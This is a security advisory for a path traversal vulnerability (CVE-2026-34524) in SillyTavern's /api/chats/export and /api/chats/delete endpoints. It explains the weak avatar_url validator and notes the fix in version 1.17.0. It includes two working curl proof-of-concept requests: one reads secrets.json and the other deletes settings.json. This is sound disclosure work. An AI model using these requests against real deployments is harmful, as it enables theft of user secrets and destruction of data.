GitHub Advisoryadvisory · npm
GHSA-vprr-q85p-79mf SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root
HIGH
Official page ↗
- Aliases
- CVE-2026-34524
- Ecosystem
- npm
- Packages
- sillytavern
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
- Weaknesses
- CWE-22
- Reviewed
- 2026-04-01
Affected packages
• npm sillytavern: < 1.17.0 → fixed in 1.17.0
Description
Summary
A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=".."`.
Details
The input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.
Evidence:
• Weak validator regex (does not reject `..`):
• Vulnerable delete path construction:
• Vulnerable export path construction:
• Endpoint auth context (authenticated user access):
Because `avatar_url=".."` is accepted, `path.join(/chats, "..")` resolves to `/`, enabling direct access to files outside the chats directory.
PoC
Prerequisites:
• Valid authenticated session cookie (`cookie.txt`)
• Valid CSRF token (`$TOKEN`)
Read sensitive file (`secrets.json`):
```bash
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
http://TARGET:8000/api/chats/export
```
Delete sensitive file (`settings.json`):
```bash
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","chatfile":"settings.json"}' \
http://TARGET:8000/api/chats/delete
```
Impact
• Confidentiality: exposed per-user secrets and config data.
• Integrity/Availability: attacker can delete critical per-user files and break account operation.
• Risk is significant in multi-user or remotely reachable deployments.
Resolution
The issue was addressed in version 1.17.0
Related
Alias · CVE (1)
- CVE-2026-34524 SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image… vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness